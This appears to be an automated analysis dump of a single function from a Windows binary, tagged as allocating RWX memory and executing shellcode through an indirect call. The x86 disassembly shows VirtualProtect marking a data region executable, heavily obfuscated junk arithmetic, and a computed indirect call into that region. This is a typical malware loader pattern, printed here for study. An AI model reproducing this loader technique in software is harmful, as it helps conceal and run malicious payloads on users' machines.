Function at 0x417dbd
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
mov word [ebp - 0x28], 0xe
mov dword [ebp - 0x20], 0x57
mov dword [ebp - 0x2c], 0x43
mov eax, dword [str.Jadinilaluguwam]
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x4bf0b8]
mov dword [ebp - 0x18], ecx
mov edx, dword [0x4bf0bc]
mov dword [ebp - 0x14], edx
mov eax, dword [0x4bf0c0]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x20]
add ecx, 0x33
mov edx, dword [ebp - 0x28]
and edx, 0xff
sub ecx, edx
mov dword [0x46e024], ecx
mov eax, dword [ebp - 0x20]
shl eax, 5
cmp dword [0x46e024], eax
je 0x417e33
mov ecx, dword [ebp - 0x20]
add ecx, 0x43
sub ecx, dword [0x46e024]
mov word [ebp - 0x28], cx
jmp 0x417e43
mov edx, dword [ebp - 0x20]
add edx, 0x43
sub edx, dword [0x46e024]
mov word [ebp - 0x28], dx
mov eax, dword [str.Pyjajuxycik]
mov dword [ebp - 0xc], eax
mov ecx, dword [0x4bf0c8]
mov dword [ebp - 8], ecx
mov edx, dword [0x4bf0cc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x28]
and eax, 0xffff
add eax, 0x13da1
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
lea ecx, [ebp - 0x20]
push ecx
push 0x40
push 0x4e8
push 0x46e028
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebp - 0x20]
add edx, 0x43
mov eax, dword [ebp - 0x28]
and eax, 0xffff
sub edx, eax
mov dword [0x46e024], edx
mov dword [ebp - 0x34], 0xda8
jmp 0x417eae
mov ecx, dword [ebp - 0x34]
sub ecx, 3
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], 0x1d
jle 0x4180a8
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x44], edx
cmp dword [ebp - 0x44], 0x208
jg 0x417ede
cmp dword [ebp - 0x44], 0x208
je 0x417f15
cmp dword [ebp - 0x44], 8
je 0x417ee9
cmp dword [ebp - 0x44], 0x33
je 0x417eff
jmp 0x417f3b
cmp dword [ebp - 0x44], 0xf29
je 0x417f27
jmp 0x417f3b
mov eax, dword [ebp - 0x20]
add eax, 4
xor ecx, ecx
mov cl, byte [0x46e024]
sub eax, ecx
mov word [ebp - 0x28], ax
jmp 0x417f3b
mov edx, dword [ebp - 0x28]
and edx, 0xffff
mov eax, dword [0x46e024]
lea ecx, [eax + edx*2]
mov dword [ebp - 0x20], ecx
jmp 0x417f3b
mov edx, dword [ebp - 0x20]
add edx, 0x43
sub edx, dword [0x46e024]
mov word [ebp - 0x28], dx
jmp 0x417f3b
mov eax, dword [ebp - 0x20]
add eax, 0x33
xor ecx, ecx
mov cl, byte [0x46e024]
sub eax, ecx
mov word [ebp - 0x28], ax
mov edx, dword [0x46e020]
cmp edx, dword [ebp - 0x20]
jne 0x417f76
mov eax, dword [0x46e024]
mov ecx, dword [ebp - 0x20]
lea edx, [ecx + eax - 0x20]
cmp edx, 0x340
jb 0x417f76
mov eax, dword [0x46e024]
sub eax, 0xe10a
sub eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x28]
and ecx, 0xffff
sub eax, ecx
mov word [ebp - 0x28], ax
mov edx, dword [ebp - 0x28]
and edx, 0xffff
sub edx, 6
sub edx, dword [0x46e024]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x28]
and eax, 0xffff
cmp eax, dword [0x46e020]
jne 0x418021
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], 0x208
jg 0x417fc5
cmp dword [ebp - 0x48], 0x208
je 0x417ffc
cmp dword [ebp - 0x48], 8
je 0x417fd0
cmp dword [ebp - 0x48], 0x33
je 0x417fe5
jmp 0x418021
cmp dword [ebp - 0x48], 0xf29
je 0x41800e
jmp 0x418021
mov edx, dword [ebp - 0x20]
add edx, 4
xor eax, eax
mov al, byte [0x46e024]
sub edx, eax
mov word [ebp - 0x28], dx
jmp 0x418021
mov ecx, dword [ebp - 0x28]
and ecx, 0xffff
mov edx, dword [0x46e024]
lea eax, [edx + ecx*2]
mov dword [ebp - 0x20], eax
jmp 0x418021
mov ecx, dword [ebp - 0x20]
add ecx, 0x43
sub ecx, dword [0x46e024]
mov word [ebp - 0x28], cx
jmp 0x418021
mov edx, dword [ebp - 0x20]
add edx, 0x33
xor eax, eax
mov al, byte [0x46e024]
sub edx, eax
mov word [ebp - 0x28], dx
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x4c], 0x208
jg 0x418047
cmp dword [ebp - 0x4c], 0x208
je 0x41807e
cmp dword [ebp - 0x4c], 8
je 0x418052
cmp dword [ebp - 0x4c], 0x33
je 0x418067
jmp 0x4180a3
cmp dword [ebp - 0x4c], 0xf29
je 0x418090
jmp 0x4180a3
mov edx, dword [ebp - 0x20]
add edx, 4
xor eax, eax
mov al, byte [0x46e024]
sub edx, eax
mov word [ebp - 0x28], dx
jmp 0x4180a3
mov ecx, dword [ebp - 0x28]
and ecx, 0xffff
mov edx, dword [0x46e024]
lea eax, [edx + ecx*2]
mov dword [ebp - 0x20], eax
jmp 0x4180a3
mov ecx, dword [ebp - 0x20]
add ecx, 0x43
sub ecx, dword [0x46e024]
mov word [ebp - 0x28], cx
jmp 0x4180a3
mov edx, dword [ebp - 0x20]
add edx, 0x33
xor eax, eax
mov al, byte [0x46e024]
sub edx, eax
mov word [ebp - 0x28], dx
jmp 0x417ea5
mov ecx, dword [ebp - 0x28]
and ecx, 0xffff
mov edx, dword [ebp - 0x20]
shl edx, 5
cmp ecx, edx
je 0x4180d3
mov eax, dword [ebp - 0x20]
add eax, 0x43
mov ecx, dword [ebp - 0x28]
and ecx, 0xffff
sub eax, ecx
mov dword [0x46e020], eax
jmp 0x4180e9
mov edx, dword [ebp - 0x20]
add edx, 0x43
mov eax, dword [ebp - 0x28]
and eax, 0xffff
sub edx, eax
mov dword [0x46e020], edx
lea eax, sym.imp.MSVCRT.dll__exit
add ecx, ecx
sub eax, 0x44
dec edi
mov eax, dword [eax]
inc edi
mov dword [ebp - 0x30], eax
mov ecx, 0x84336b7d
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x20]
add edx, 4
xor eax, eax
mov al, byte [0x46e024]
sub edx, eax
mov word [ebp - 0x28], dx
mov ecx, dword [ebp - 0x30]
mov edx, dword [ecx + 2]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x34], 0xda8
jmp 0x418131
mov eax, dword [ebp - 0x34]
sub eax, 3
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x1d
jle 0x418352
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x50], ecx
cmp dword [ebp - 0x50], 0x208
jg 0x418161
cmp dword [ebp - 0x50], 0x208
je 0x41819a
cmp dword [ebp - 0x50], 8
je 0x41816c
cmp dword [ebp - 0x50], 0x33
je 0x418184
jmp 0x4181c9
cmp dword [ebp - 0x50], 0xf29
je 0x4181b3
jmp 0x4181c9
mov edx, dword [0x46e020]
add edx, 4
mov eax, dword [ebp - 0x28]
and eax, 0xff
sub edx, eax
mov dword [ebp - 0x20], edx
jmp 0x4181c9
mov ecx, dword [ebp - 0x28]
and ecx, 0xffff
mov edx, dword [ebp - 0x20]
lea eax, [ecx + edx*2]
mov dword [0x46e020], eax
jmp 0x4181c9
mov ecx, dword [0x46e020]
add ecx, 0x43
mov edx, dword [ebp - 0x28]
and edx, 0xffff
sub ecx, edx
mov dword [ebp - 0x20], ecx
jmp 0x4181c9
mov eax, dword [0x46e020]
add eax, 0x33
mov ecx, dword [ebp - 0x28]
and ecx, 0xff
sub eax, ecx
mov dword [ebp - 0x20], eax
mov edx, dword [0x46e020]
cmp edx, dword [0x46e020]
jne 0x41820a
mov eax, dword [ebp - 0x28]
and eax, 0xffff
mov ecx, dword [0x46e020]
lea edx, [ecx + eax - 0x20]
cmp edx, 0x340
jb 0x41820a
mov eax, dword [ebp - 0x28]
and eax, 0xffff
sub eax, 0xe10a
sub eax, dword [0x46e020]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
sub ecx, 6
mov edx, dword [ebp - 0x28]
and edx, 0xffff
sub ecx, edx
mov dword [0x46e020], ecx
mov eax, dword [ebp - 0x20]
cmp eax, dword [0x46e020]
jne 0x4182be
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x54], ecx
cmp dword [ebp - 0x54], 0x208
jg 0x418256
cmp dword [ebp - 0x54], 0x208
je 0x41828f
cmp dword [ebp - 0x54], 8
je 0x418261
cmp dword [ebp - 0x54], 0x33
je 0x418279
jmp 0x4182be
cmp dword [ebp - 0x54], 0xf29
je 0x4182a8
jmp 0x4182be
mov edx, dword [0x46e020]
add edx, 4
mov eax, dword [ebp - 0x28]
and eax, 0xff
sub edx, eax
mov dword [ebp - 0x20], edx
jmp 0x4182be
mov ecx, dword [ebp - 0x28]
and ecx, 0xffff
mov edx, dword [ebp - 0x20]
lea eax, [ecx + edx*2]
mov dword [0x46e020], eax
jmp 0x4182be
mov ecx, dword [0x46e020]
add ecx, 0x43
mov edx, dword [ebp - 0x28]
and edx, 0xffff
sub ecx, edx
mov dword [ebp - 0x20], ecx
jmp 0x4182be
mov eax, dword [0x46e020]
add eax, 0x33
mov ecx, dword [ebp - 0x28]
and ecx, 0xff
sub eax, ecx
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x58], edx
cmp dword [ebp - 0x58], 0x208
jg 0x4182e4
cmp dword [ebp - 0x58], 0x208
je 0x41831e
cmp dword [ebp - 0x58], 8
je 0x4182ef
cmp dword [ebp - 0x58], 0x33
je 0x418307
jmp 0x41834d
cmp dword [ebp - 0x58], 0xf29
je 0x418336
jmp 0x41834d
mov eax, dword [0x46e020]
add eax, 4
mov ecx, dword [ebp - 0x28]
and ecx, 0xff
sub eax, ecx
mov dword [ebp - 0x20], eax
jmp 0x41834d
mov edx, dword [ebp - 0x28]
and edx, 0xffff
mov eax, dword [ebp - 0x20]
lea ecx, [edx + eax*2]
mov dword [0x46e020], ecx
jmp 0x41834d
mov edx, dword [0x46e020]
add edx, 0x43
mov eax, dword [ebp - 0x28]
and eax, 0xffff
sub edx, eax
mov dword [ebp - 0x20], edx
jmp 0x41834d
mov ecx, dword [0x46e020]
add ecx, 0x33
mov edx, dword [ebp - 0x28]
and edx, 0xff
sub ecx, edx
mov dword [ebp - 0x20], ecx
jmp 0x418128
mov eax, dword [0x46e024]
add eax, 0x33
mov ecx, dword [ebp - 0x28]
and ecx, 0xff
sub eax, ecx
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x28]
and edx, 0xffff
mov eax, dword [0x46e024]
shl eax, 5
cmp edx, eax
je 0x418396
mov ecx, dword [0x46e024]
add ecx, 0x43
mov edx, dword [ebp - 0x28]
and edx, 0xffff
sub ecx, edx
mov dword [ebp - 0x20], ecx
jmp 0x4183ac
mov eax, dword [0x46e024]
add eax, 0x43
mov ecx, dword [ebp - 0x28]
and ecx, 0xffff
sub eax, ecx
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x34], 0xda8
jmp 0x4183c7
mov eax, dword [ebp - 0x34]
sub eax, 3
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x1d
jle 0x4185c5
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x5c], ecx
cmp dword [ebp - 0x5c], 0x208
jg 0x4183f7
cmp dword [ebp - 0x5c], 0x208
je 0x41842e
cmp dword [ebp - 0x5c], 8
je 0x418402
cmp dword [ebp - 0x5c], 0x33
je 0x418417
jmp 0x418453
cmp dword [ebp - 0x5c], 0xf29
je 0x418440
jmp 0x418453
mov edx, dword [ebp - 0x20]
add edx, 4
xor eax, eax
mov al, byte [0x46e020]
sub edx, eax
mov word [ebp - 0x28], dx
jmp 0x418453
mov ecx, dword [ebp - 0x28]
and ecx, 0xffff
mov edx, dword [0x46e020]
lea eax, [edx + ecx*2]
mov dword [ebp - 0x20], eax
jmp 0x418453
mov ecx, dword [ebp - 0x20]
add ecx, 0x43
sub ecx, dword [0x46e020]
mov word [ebp - 0x28], cx
jmp 0x418453
mov edx, dword [ebp - 0x20]
add edx, 0x33
xor eax, eax
mov al, byte [0x46e020]
sub edx, eax
mov word [ebp - 0x28], dx
mov ecx, dword [0x46e020]
cmp ecx, dword [ebp - 0x20]
jne 0x418490
mov edx, dword [0x46e020]
mov eax, dword [ebp - 0x20]
lea ecx, [eax + edx - 0x20]
cmp ecx, 0x340
jb 0x418490
mov edx, dword [0x46e020]
sub edx, 0xe10a
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
and eax, 0xffff
sub edx, eax
mov word [ebp - 0x28], dx
mov ecx, dword [ebp - 0x28]
and ecx, 0xffff
sub ecx, 6
sub ecx, dword [0x46e020]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x28]
and edx, 0xffff
cmp edx, dword [0x46e020]
jne 0x41853d
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x208
jg 0x4184e0
cmp dword [ebp - 0x60], 0x208
je 0x418517
cmp dword [ebp - 0x60], 8
je 0x4184eb
cmp dword [ebp - 0x60], 0x33
je 0x418501
jmp 0x41853d
cmp dword [ebp - 0x60], 0xf29
je 0x418529
jmp 0x41853d
mov ecx, dword [ebp - 0x20]
add ecx, 4
xor edx, edx
mov dl, byte [0x46e020]
sub ecx, edx
mov word [ebp - 0x28], cx
jmp 0x41853d
mov eax, dword [ebp - 0x28]
and eax, 0xffff
mov ecx, dword [0x46e020]
lea edx, [ecx + eax*2]
mov dword [ebp - 0x20], edx
jmp 0x41853d
mov eax, dword [ebp - 0x20]
add eax, 0x43
sub eax, dword [0x46e020]
mov word [ebp - 0x28], ax
jmp 0x41853d
mov ecx, dword [ebp - 0x20]
add ecx, 0x33
xor edx, edx
mov dl, byte [0x46e020]
sub ecx, edx
mov word [ebp - 0x28], cx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x208
jg 0x418563
cmp dword [ebp - 0x64], 0x208
je 0x41859a
cmp dword [ebp - 0x64], 8
je 0x41856e
cmp dword [ebp - 0x64], 0x33
je 0x418584
jmp 0x4185c0
cmp dword [ebp - 0x64], 0xf29
je 0x4185ac
jmp 0x4185c0
mov ecx, dword [ebp - 0x20]
add ecx, 4
xor edx, edx
mov dl, byte [0x46e020]
sub ecx, edx
mov word [ebp - 0x28], cx
jmp 0x4185c0
mov eax, dword [ebp - 0x28]
and eax, 0xffff
mov ecx, dword [0x46e020]
lea edx, [ecx + eax*2]
mov dword [ebp - 0x20], edx
jmp 0x4185c0
mov eax, dword [ebp - 0x20]
add eax, 0x43
sub eax, dword [0x46e020]
mov word [ebp - 0x28], ax
jmp 0x4185c0
mov ecx, dword [ebp - 0x20]
add ecx, 0x33
xor edx, edx
mov dl, byte [0x46e020]
sub ecx, edx
mov word [ebp - 0x28], cx
jmp 0x4183be
call dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
and eax, 0xffff
mov ecx, dword [ebp - 0x20]
lea edx, [eax + ecx*2]
mov dword [0x46e020], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret